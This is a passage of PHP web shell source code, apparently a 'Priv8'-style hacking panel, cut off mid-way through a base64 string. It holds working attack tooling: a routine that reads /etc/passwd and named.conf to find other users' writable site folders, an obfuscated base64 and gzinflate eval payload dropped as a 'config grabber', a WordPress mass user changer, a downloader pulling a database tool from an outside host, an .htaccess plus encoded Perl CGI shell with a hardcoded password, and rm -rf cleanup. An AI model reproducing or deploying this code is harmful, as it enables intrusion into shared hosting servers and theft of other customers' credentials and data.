auto;\'>";\r\n$etc = fopen("/etc/passwd", "r") or die("<font color=white>Can\'t read /etc/passwd</font>");\r\nwhile ($passwd = fgets($etc)) {\r\n    if ($passwd == \'\' || !$etc) {\r\n        echo "<font color=white>Can\'t read /etc/passwd</font>";\r\n    } else {\r\n        preg_match_all(\'/(.*?):x:/\', $passwd, $user_jumping);\r\n        foreach ($user_jumping[1] as $user_khoer_jump) {\r\n            $user_jumping_dir = "/home/$user_khoer_jump/public_html";\r\n            if (is_readable($user_jumping_dir)) {\r\n                $i++;\r\n                $jrw = "[<font color=white>R</font>] <a href=\'?path=$user_jumping_dir\'><font color=#ffb101>$user_jumping_dir</font></a>";\r\n                if (is_writable($user_jumping_dir)) {\r\n                    $jrw = "[<font color=white>RW</font>] <a href=\'?path=$user_jumping_dir\'><font color=#ffb101>$user_jumping_dir</font></a>";\r\n                }\r\n                echo $jrw;\r\n                if (function_exists(\'posix_getpwuid\')) {\r\n                    $domain_jump = file_get_contents("/etc/named.conf");\r\n                    if ($domain_jump == \'\') {\r\n                        echo " => ( <font color=white>I can\'t take the domain name</font> )<br>";\r\n                    } else {\r\n                        preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);\r\n                        foreach ($domains_jump[1] as $dj) {\r\n                            $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));\r\n                            $user_jumping_url = $user_jumping_url[\'name\'];\r\n                            if ($user_jumping_url == $user_khoer_jump) {\r\n                                echo " => ( <u>$dj</u> )<br>";\r\n                                break;\r\n                            }\r\n                        }\r\n                    }\r\n                } else {\r\n                    echo "<br>";\r\n                }\r\n            }\r\n        }\r\n    }\r\n}\r\nif ($i == 0) {\r\n} else {\r\n    echo "<br>Total " . $i . " Directory " . gethostbyname($_SERVER[\'HTTP_HOST\']) . "";\r\n}\r\necho "</div></pre>";\r\n\techo "</div>";\r\n\thardFooter();\r\n}\r\n\r\nfunction actionSafeMode() {\r\n\thardHeader();\r\n\techo "<center><h1>Config Grabber</h1><div class=content><br>";\r\n\t@ini_set(\'display_errors\', 0);\r\n\t$cgi_dir = mkdir(\'priv_sym\', 0755);\r\n        chdir(\'priv_sym\');\r\n\t$file_mass = "conf.php";\r\n\t$mass_script = "PD9waHANCiRuYW1lPSJaWFpoYkNVeU9DVXlObkYxYjNRbE0wSWxNMFlsTWpabmRDVXpRaVV5Tm5GMWIzUWxNMEl1WjNwMWJtTnZiWEJ5WlhOekpUSTRaM3AxYm1OdmJYQnlaWE56SlRJNFozcHBibVpzWVhSbEpUSTRaM3BwYm1ac1lYUmxKVEk0WjNwcGJtWnNZWFJsSlRJNFltRnpaVFkwWDJSbFkyOWtaU1V5T0hOMGNuSmxkaVV5T0NVeU5ITjBjaVV5T1NVeU9TVXlPU1V5T1NVeU9TVXlPU1V5T1NVeU9TVXpRZz09IjsgJHN0cj0iRHBDQ0taTEVQd2xCL2Y0RFM2alAwdkx4QlRjK3lRaVBua1BIS0JjUGswL1BEVUYyT01Fc2pvais5R1FHWFNOUm05bFVQdEFxS2Z6U3RIWEtGVTlYeUNBVnZxWTRaSmRKMEhkRjFYSDAra0hsQTFxUEZNdlE1TmdJQ2hYeFVlUnBCT000TnhrTGZEQXBwcXZuN0hqdWxUWnJvWWp6RUQ4bWh5N3lFTzg3YXN6ZTNSMmU4eGNrUkc0dnZoYW13dlV2MHdFbEI5UlVHenc0cllaZ3hmRE1adXk4Vm1xSmtSTVZOb2tCcCthV0xNdHN4a2ljbERvT3QzZW5yYTRSTDVhM2VqN0ltVGk2bjd5b1ZOYzc1S2dyMWpsa2loZGdPNFcrcVpGeWlLdHpESk8vZzd3clhWcHFBeThKTDVEQ1NvTmhxOUdBSUFkQWNqcmxDQUVRREtJcE1uRmQ2ekNyVDNWa2Z1WVB4WG0wb3BrYktTZGcveG1hMGFpTnR5cFNyTTN5M0loVmd2Wm5FdEl4VCtzeTFhRkYyeTNJeWcxYWw4WGdVcjRWamxhVWlVbWFlKzFPL3F0WFZId213TEt3d1R2Y1kxQmt4L2pEQTdGK3Bwd2JvU0pXQk00dzFlalFPUFZjZ21kakVYNisvRVU0eGJKTDJlZ2FDZHkzVXFDYnh2dlk1R2F4bFcvekRNRFRGeFBYTHBRZCszbGxEaFBGVC9qS0ZVTGlOZHlzdkRxaGtWaTRMWG1FYm84SHdzZXFKdGdtV1NTOU9oeU5PRlN0c0kxNmZ5b0IxQWtkTGprUU1lTWo5TlJRS0ZYeC9pRDRmVXNwcDZaWkNjVk5OWWlROEtVR2prRmhzaWNOaVcvbk14eUVwdFpobnhzQnlDZTVOVnlJVXByYWhtYVRldUlBYTBpMWplUkx1bHVvZk8vRzdNbnlSemxlZXdKZmo4c09UZkwrbDRRcEtCeXp5RHFsVDNlOGxvcUFaYjI5d2k2QW1LV2s3SXVobGtCdlkvQ21JUi9aTmpKQWE4V3hENUt2NXpvb3VWS1owMFUxVVkza2dBb0dVNG1pNXA1QjMvZ3BxeEcwYUkwMUlKQjdTYUV5SWVyTGY4bXpQcTd0Uk80S1hXazRtUUZLc1FVWkhJVGM1aEZpSzdBWkNLLzdrUm1oeUVCZEJtZ2dUTXFqZmxqMnFCQVprbThPcGdKSEdYbUp3WjR4NE1CTXBFS2JqV1I0ZDk2U0ZKREFuOCtPN2VIOFB4aENCTFNKdk5OZG9DdEVjNDErM1k0TXZzay96OXVDMlg0Zzl6NExMZGxubWw4RUhIVFhpYkw4WVFNU2RuODF2aFRFb1FCS1A5cUxpWkdLa0NSQ3Rlb2s3REpNR0kyaG9MVWM5b05DUmR3RFIxRjZlNE5ERVVObXlIbUd4SU1GYU5QMUFBdTRFSDV2NGtmaUxGZ0Z4RnZIajhQeiszL0hIaHZvM09DRXk4WVdVMERyOGdMWjBZRTdmQ0N3YzJnUENYUVdrRG5EQWRIRDduQTNMZCtTVDgxL29IMU41U1V3eG5OQXhtVWU4RzRhZnVQeTc2S01HWXFXNVJ4OHRaYTduSHBydVVMYlNIZ01pd0Y0VXRMYnBkNVVuZmhaajM2T3Y2Q0FnaUhkUjRnZ2hCcFJDTy9lZkFGd2VYTVBiTHFIRVF4bFlNOXN1VVo1QjNkZDc2R2k0dGZVY0dEM1VkME4zdXhTN1BiVUlUdzNkTkh1bXMwTVJ3dEVsTFpBeVVuSWV1RDdMSEpOTkduYzk3RzMxbEtEdHhJaE1GcG9CUEJmT2tJaE5wdU9RQVBDQ2Fsb3Z0d2hJaEdJam5tZnZ4ajEvbFVBVERvKzl4eGQ5VFhjQWV6MFVqOStuSDV6VEptbmMySkhoVmtIRVJkbVRJVjVUMkFDUTlobW5YNHNha0JRcHRyVE5MQ3RoQXVaa0wweCtXUnVjc2ZTcGJOaG9CdVFBcXV2QjVnRHQvVW5YQVFzd0tBaDB5WHU1SGMycmUwS0UwRG8vNnNUL21kV0NnSFh2b2wzQkdZTUZYMndLaWd3UmZPRDJnaVJEV09LdVl6cWRleGxYZXR1QklHNEV3NnE0NExBNGNsdXY4STZncUFzTmdsQ3NlZ1dEWURoY0pJTS9qb1hFVXlYUW9VNTB3eVdESVhOeHBFeFJjbVFnV1FBcEE1d0ZxMXUvZjBGKzVZQVNIZ0NSSVBvRkNReVFKVWgxUWdRNXpyNFFEUmhNa05VQ2JJWnlDUm9YS0QvUTJmMmVNM0JTY1pkdDVHY3ZGZkFocFFDU1daclRYZjZsU2VlWVN5NDBRSEJ3TGczTTZaYzNoTTR2ek5BQ3JKZ1VBbkZjY3AyS1FoUTVqUG5Kc1JJa0gxTGZSZU1sd3FDV0xVR0Zud3hJQ0lLaHlDQXg5d245aEJVTTVZUXI1VVh6OXJPNVltemQvazNwTEg1aUx3aGs3ejhvLzJldlhKQnpBdGhOTEJtZG02T1lLYXNMTVA3UHZKSWlwUFRuVk1CMjhUQUFLZDIyeUNCZTBDRTkyWXBHelo0L3NhdWh4TytHV0cyTmJMeUFFR0hoVTQrQjVCQ1prRzJaY1AxOS9LMGpFRE1xN0hCQWY3MzJaUVgxbEhZVm5NWDlEK1ZONlZjMUlxVStWNkw2eEtnclJxcG14d3ZxTkpFUVRnZTRWVEZEZWEwR000SWluZUdpbFcxSkhLaTBEdkJZcGZjS1JUU2NjTzgvQUZlazVqMEpHU210d2VhbWxkOHIzZVNPUVRqdVZoTCtTcnR3QzZxQ2M2Q2lTMEFwN0lORUpvRktYako0eXNwVUFpaG5pdDYzdXpiSlhLZk95VU9LWDhwbm1lMlVYV0s4NFo4OXUrd21YdnZ6eWM0cE53MDhTdTN6THIya0w2Znd1VmZrb2IzeUdvMHlycE5rS3RtenNpdURCWTUwWXRTd2tySUhtREM0bXlueFR0djZiWVhYS21iNkJ2bnJwMTRleVpsNlpsNVZ0L1R0SGpodHFNS3V2RVBWSXBBZDd0Mi9waGRmLzBTVWxYT2RiSFJ0ZW5FM0FTNXZnbHRybjMya2J1MjMwNnRrL28yUGZ6bnRsalA5cGV2ZHJiOS9ubTM4L1hJUUhmYVlBN2lSQ1p2TzBoc0p4UVV3bXVXdGk1QUdaazhIUVRReTgyR3hkU1BmQkdObnZ4SXgrMFl3aTVuUHFZaEhRZG56b1NrbStPbTladmkzbmZEUzJabmYxeHZOQ1praVpQZkxsM3d1bmlobktBM2FRSU1KYk15b0FwbnJoV2FmdWhKL3Q1enJ1ZWpMZzhZTFpaai9uRGlScFZzYWRiL1dMUkdyTVhDdHR3ZHR2NzV6MkNhMmlIRktITmMvbk9ac0hzWjlLSGpIYnRTelZjNmtCYnN5ZDR5RlYreExQN0huOEJ6NTIvcEN2MzcyT2ZDc1ZoUFFyWkg1bDdEVncyOU5QdGd4SksyWWhJdmRWTGM4bVF6RHpSUElQMG84QXp6NHp4ZlEwMnpXbUxFWlJSYXNCeGp1c3JRTWhUSmxUWXZobUgydFlSODFIeHBVMFBNV3FDaEJtVFdGa28rYU9RWUxuQWg4V0NZRVMzZXdnWnlhQnMwUEhNRHdFUHpINEkvbjZtRWVQQnVPR1UzbVptaTg5QU9mOU5oNzZRbHhVYUdsZStWWm9OZUp2RkVBQ3lKUThhekNlQXhQM0NUMitrM1Z2bjJiV2tHQ3Y5aGlrME5zUTlpM054S2twV29FSFA2TUR4VnNPYklCWUh4UUhSaDJRZmtVbWZoZmRJVmhXZ2wzWWt5WFJBYVJ6NmJOMmoxM3MxcmJaamtBenNYRGJHS3d1MG5CZDJmbiswdFB2dDVhcVJrQVNsMlZIM1p4ZWl2Tm9qSXNJVlRsWHFzV0hrVVJyUzNGdWRVWUN2SEdmbE01SnhLVnRaQWNuUEhzVm93dHJmZ3FQcmNWR0F5RXJpSTNMR1dGbWk5Q2RlUTVKbnQxU0RsRUpzd0ZCYlBuRHJlUDc1QmZRa2sxK2docE5Rd0pLZWEwMWFXNjRITDRqZWFPYW1vcWhkTFNlQnFzYnhKYmtRSTlMWXVIMzBLVUpoYmJaOHlJdUFVK3h6Sm1KbTg4MWFVN0ljOTRFeTlSTi83NStKSTlDQTZKaE1LNEZQS0xXTElTakFUYnIyRXp0MXJySVZlTWJWaEtXRWlwSTdRejdsdGpGR3JmNjl2Zi8rOTVDMmFtdWlYODZWT2NqUis4M3FZMUhoSWw3TjRIdVlxRzBZSi9pMWJEYzRtMTlXb1RTNDE4cFo5N0pxOHZybCtJM3c2Z1ZuTTBDYk9hRnI2Z2RtcEJiWjJzdy9qaVY2NHB5WTJtWWF5NTk5NlIwYzB6dllDRjZ1SUxId1lPcE5qOUxySEMxMHQ4aWxkOFU0czIzZ0RZTnY3czlLd0Q0Ym50M1ovR3d3UDkyWkQ4WThHK1M5K0duc1B4UDY3bVFqYmVIdXd4ZmNVVEFmSWFSNjdTeTlsQnVQU0dHTEV5dkY1U3o0TFZzcURQUFl5UWtqT3kzT21XOXEzL3ltbCtMNnhZSyt4aFNmK1J3emRlSkxXbjhxUTB6WHJVNUdSKzhnakthRlAyeno3UGZYZVFNVEtkU3J6TzNSanhhWlNkbDk3M05NTllyVTFXSnBMV2F0bHplOUF0ZFREcUtQOUpjTUdUQ0FkZDJjQUJrUU1Tdk8yM0Z2bjc4ZkZLdjlVN3hWN2NpWDlOcWdjQndKZTFMb0M5RlE5OXBnZ0JVUGVLY1lBIjsgJHRleHQgPSAiU3kxTHpOSElLTW5OS1M1SVRjNU16RW5PU0N3cWprOUpUYzVQU2RVb0xjcUJzcElTaTFQTlRHRGlLbm1KdWFtYVFHQU5BQT09IjsgZXZhbCAoZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJHRleHQpKSk7IGV4aXQ7ID8+";\r\n\t$mass = fopen($file_mass, "w");\r\n\tfwrite($mass, base64_decode($mass_script));\r\n\techo "<br><center>  <iframe frameBorder=0 src=\'priv_sym/conf.php\' width=\'900\' height=\'480\'></iframe></a>";\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\nfunction actionEdituser() {\r\n\thardHeader();\r\n\techo "<center><h1>Wordpress Mass User Changer</h1><div class=content><br>";\r\n\techo "<br><center>  <iframe frameBorder=0 src=\'?user\' width=\'900\' height=\'400\'></iframe></a>";\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\nfunction actionLogout() {\r\n\texec("rm -rf priv_sym priv_cgi adminer.php");\r\n    setcookie(md5($_SERVER[\'HTTP_HOST\']), \'\', time() - 3600);\r\n\tdie("<style>\r\n\tbody {background-color:#000000; background-image:url(\'https://i.imgur.com/hLcQCBx.gif\'); } </style></br></br><body><pre align=center><form method=post style=\'color:#ffffff;text-align: center;\'>bye bye<br><br></form> </body>");\r\n}\r\nfunction actionSelfRemove() {\r\n\tif($_POST[\'p1\'] == \'yes\')\r\n\t\tif(@unlink(preg_replace(\'!\\(\\d+\\)\\s.*!\', \'\', __FILE__)))\r\n\t\t\tdie(\'Shell has been removed\');\r\n\t\telse\r\n\t\t\techo \'unlink error!\';\r\n    if($_POST[\'p1\'] != \'yes\')\r\n        hardHeader();\r\n\techo \'<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\\\'yes\\\')">Yes</a></div>\';\r\n\thardFooter();\r\n}\r\n\r\n\r\nfunction actionAdminer() {\r\n\thardHeader();\r\n\techo "<center><h1>Adminer</h1><div class=content><br>";\r\n\t$full = str_replace($_SERVER[\'DOCUMENT_ROOT\'], "", $dir);\r\n\tfunction adminer($url, $isi) {\r\n\t\t$fp = fopen($isi, "w");\r\n\t\t$ch = curl_init();\r\n\t\t \t  curl_setopt($ch, CURLOPT_URL, $url);\r\n\t\t \t  curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);\r\n\t\t \t  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\r\n\t\t \t  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);\r\n\t\t   \t  curl_setopt($ch, CURLOPT_FILE, $fp);\r\n\t\treturn curl_exec($ch);\r\n\t\t   \t  curl_close($ch);\r\n\t\tfclose($fp);\r\n\t\tob_flush();\r\n\t\tflush();\r\n\t}\r\n\tif(file_exists(\'adminer.php\')) {\r\n\t\techo "<center><font color=white><br><a href=\'adminer.php\' target=\'_blank\'>[ Adminer login ]</a><br><br><br></font></center>";\r\n\t} else {\r\n\t\tif(adminer("https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php","adminer.php")) {\r\n\t\t\techo "<center><font color=white><br><br><a href=\'adminer.php\' target=\'_blank\'>[ Adminer login ]</a><br><br></font></center>";\r\n\t\t} else {\r\n\t\t\techo "<center><font color=red>Failed to create Adminer file</font></center>";\r\n\t\t}\r\n\t}\r\n\thardFooter();\r\n}\r\nfunction actionBruteforce() {\r\n\thardHeader();\r\n\techo "<center><h1>Cgi Telnet</h1><div class=content><br>";\r\n\t$cgi_dir = mkdir(\'priv_cgi\', 0755);\r\n        chdir(\'priv_cgi\');\r\n\t$file_cgi = "cgi.priv";\r\n        $memeg = ".htaccess";\r\n\t$isi_htcgi = "OPTIONS Indexes Includes ExecCGI FollowSymLinks \\n AddType application/x-httpd-cgi .priv \\n AddHandler cgi-script .priv \\n AddHandler cgi-script .priv";\r\n\t$htcgi = fopen(".htaccess", "w");\r\n\t$cgi_script = "IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnVzZSBNSU1FOjpCYXNlNjQ7CiRWZXJzaW9uPSAiUFJJVjgtU0hFTEwgVmVyc2lvbiAxLjMiOwokRWRpdFBlcnNpb249Ijxmb250IHN0eWxlPSd0ZXh0LXNoYWRvdzogMHB4IDBweCA2cHggcmdiKDI1NSwgMCwgMCksIDBweCAwcHggNXB4IHJnYigzMDAsIDAsIDApLCAwcHggMHB4IDVweCByZ2IoMzAwLCAwLCAwKTsgY29sb3I6I2ZmZmZmZjsgZm9udC13ZWlnaHQ6Ym9sZDsnPlBSSVY4LVNIRUxMPC9mb250PiI7CgokUGFzc3dvcmQgPSAicHJpdjhzaGVsbCI7CQkJIyBDaGFuZ2UgdGhpcy4gWW91IHdpbGwgbmVlZCB0byBlbnRlciB0aGlzIHRvIGxvZ2luLgpzdWIgSXNfV2luKCl7Cgkkb3MgPSAmdHJpbSgkRU5WeyJTRVJWRVJfU09GVFdBUkUifSk7CglpZigkb3MgPX4gbS93aW4vaSl7CgkJcmV0dXJuIDE7Cgl9CgllbHNlewoJCXJldHVybiAwOwoJfQp9CiRXaW5OVCA9ICZJc19XaW4oKTsJCQkJIyBZb3UgbmVlZCB0byBjaGFuZ2UgdGhlIHZhbHVlIG9mIHRoaXMgdG8gMSBpZgoJCQkJCQkJCSMgeW91J3JlIHJ1bm5pbmcgdGhpcyBzY3JpcHQgb24gYSBXaW5kb3dzIE5UCgkJCQkJCQkJIyBtYWNoaW5lLiBJZiB5b3UncmUgcnVubmluZyBpdCBvbiBVbml4LCB5b3UKCQkJCQkJCQkjIGNhbiBsZWF2ZSB0aGUgdmFsdWUgYXMgaXQgaXMuCgokTlRDbWRTZXAgPSAiJiI7CQkJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRzCgkJCQkJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULgoKJFVuaXhDbWRTZXAgPSAiOyI7CQkJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRzCgkJCQkJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBVbml4LgoKJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gPSAxMDAwMDsJIyBUaW1lIGluIHNlY29uZHMgYWZ0ZXIgY29tbWFuZHMgd2lsbCBiZSBraWxsZWQKCQkJCQkJCQkjIERvbid0IHNldCB0aGlzIHRvIGEgdmVyeSBsYXJnZSB2YWx1ZS4gVGhpcyBpcwoJCQkJCQkJCSMgdXNlZnVsIGZvciBjb21tYW5kcyB0aGF0IG1heSBoYW5nIG9yIHRoYXQKCQkJCQkJCQkjIHRha2UgdmVyeSBsb25nIHRvIGV4ZWN1dGUsIGxpa2UgImZpbmQgLyIuCgkJCQkJCQkJIyBUaGlzIGlzIHZhbGlkIG9ubHkgb24gVW5peCBzZXJ2ZXJzLiBJdCBpcwoJCQkJCQkJCSMgaWdub3JlZCBvbiBOVCBTZXJ2ZXJzLgoKJFNob3dEeW5hbWljT3V0cHV0ID0gMTsJCQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRhIGlzIHNlbnQgdG8gdGhlCgkJCQkJCQkJIyBicm93c2VyIGFzIHNvb24gYXMgaXQgaXMgb3V0cHV0LCBvdGhlcndpc2UKCQkJCQkJCQkjIGl0IGlzIGJ1ZmZlcmVkIGFuZCBzZW5kIHdoZW4gdGhlIGNvbW1hbmQKCQkJCQkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UKCQkJCQkJCQkjIHBpbmcsIHNvIHRoYXQgeW91IGNhbiBzZWUgdGhlIG91dHB1dCBhcyBpdAoJCQkJCQkJCSMgaXMgYmVpbmcgZ2VuZXJhdGVkLgoKIyBET04nVCBDSEFOR0UgQU5ZVEhJTkcgQkVMT1cgVEhJUyBMSU5FIFVOTEVTUyBZT1UgS05PVyBXSEFUIFlPVSdSRSBET0lORyAhIQoKJENtZFNlcCA9ICgkV2luTlQgPyAkTlRDbWRTZXAgOiAkVW5peENtZFNlcCk7CiRDbWRQd2QgPSAoJFdpbk5UID8gImNkIiA6ICJwd2QiKTsKJFBhdGhTZXAgPSAoJFdpbk5UID8gIlxcIiA6ICIvIik7CiRSZWRpcmVjdG9yID0gKCRXaW5OVCA/ICIgMj4mMSAxPiYyIiA6ICIgMT4mMSAyPiYxIik7CiRjb2xzPSAxNTA7CiRyb3dzPSAyNjsKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJzZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQKIyBwYXJzZXMgR0VULCBQT1NUIGFuZCBtdWx0aXBhcnQvZm9ybS1kYXRhIHRoYXQgaXMgdXNlZCBmb3IgdXBsb2FkaW5nIGZpbGVzLgojIFRoZSBmaWxlbmFtZSBpcyBzdG9yZWQgaW4gJGlueydmJ30gYW5kIHRoZSBkYXRhIGlzIHN0b3JlZCBpbiAkaW57J2ZpbGVkYXRhJ30uCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAkaW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YKIyB0aGUgdmFyaWFibGUuIE5vdGU6IE1vc3Qgb2YgdGhlIGNvZGUgaW4gdGhpcyBmdW5jdGlvbiBpcyB0YWtlbiBmcm9tIG90aGVyIENHSQojIHNjcmlwdHMuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJlYWRQYXJzZSAKewoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsKCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7CgkKCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOwoKCWlmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIkdFVCIpCgl7CgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307Cgl9CgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikKCXsKCQliaW5tb2RlKFNURElOKSBpZiAkTXVsdGlwYXJ0Rm9ybURhdGEgJiAkV2luTlQ7CgkJcmVhZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsKCX0KCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykKCXsKCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IAoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IAoJCSRIZWFkZXJCb2R5ID0gJGxpc3RbMV07CgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOwoJCSRIZWFkZXIgPSAkYDsKCQkkQm9keSA9ICQnOwogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7CgkJJEhlYWRlciA9fiAvZmlsZW5hbWU9XCIoLispXCIvOyAKCQkkaW57J2YnfSA9ICQxOyAKCQkkaW57J2YnfSA9fiBzL1wiLy9nOwoJCSRpbnsnZid9ID1+IHMvXHMvL2c7CgoJCSMgcGFyc2UgdHJhaWxlcgoJCWZvcigkaT0yOyAkbGlzdFskaV07ICRpKyspCgkJeyAKCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87CgkJCSRsaXN0WyRpXSA9fiAvXCIoXHcrKVwiLzsKCQkJJGtleSA9ICQxOwoJCQkkdmFsID0gJCc7CgkJCSR2YWwgPX4gcy8oXihcclxuXHJcbnxcblxuKSl8KFxyXG4kfFxuJCkvL2c7CgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7CgkJCSRpbnska2V5fSA9ICR2YWw7IAoJCX0KCX0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQoJewoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsKCQlmb3JlYWNoICRpICgwIC4uICQjaW4pCgkJewoJCQkkaW5bJGldID1+IHMvXCsvIC9nOwoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOwoJCQkka2V5ID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsKCQkJJGlueyRrZXl9IC49ICR2YWw7CgkJfQoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIFBhZ2UgSGVhZGVyCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludFBhZ2VIZWFkZXIKewoJJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7CgkkRW5jb2RlZEN1cnJlbnREaXIgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJbXkgJGRpciA9JEN1cnJlbnREaXI7CgkkZGlyPX4gcy9cXC9cXFxcL2c7CglwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsKCXByaW50IDw8RU5EOwo8aHRtbD4KPGhlYWQ+CjxsaW5rIGhyZWY9J2h0dHBzOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vY3NzP2ZhbWlseT1PcGVuK1NhbnMnIHJlbD0nc3R5bGVzaGVldCc+CjxtZXRhIGh0dHAtZXF1aXY9ImNvbnRlbnQtdHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ij4KPHRpdGxlPlByaXY4IFNoZWxsIENnaTwvdGl0bGU+CgokSHRtbE1ldGFIZWFkZXIKCjwvaGVhZD4KPHN0eWxlPgpib2R5ewpmb250OiAxMHB0IE9wZW4gU2FuczsKfQp0ciB7CkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOwpjb2xvcjogI2ZmZmZmZjsKfQp0ZCB7CkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOwpjb2xvcjogI2ZmMTExMTsKZm9udDogMTBwdCBPcGVuIFNhbnM7Cn0KCnRhYmxlIHsKQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6ICMxMTE7Cn0KCgppbnB1dCB7CkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOwpCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsKZm9udDogMTBwdCBPcGVuIFNhbnM7CmNvbG9yOiAjZmZmZmZmOwp9CgppbnB1dC5zdWJtaXQgewp0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47CmNvbG9yOiAjRkZGRkZGOwpib3JkZXItY29sb3I6ICNmZjExMTE7Cn0KCm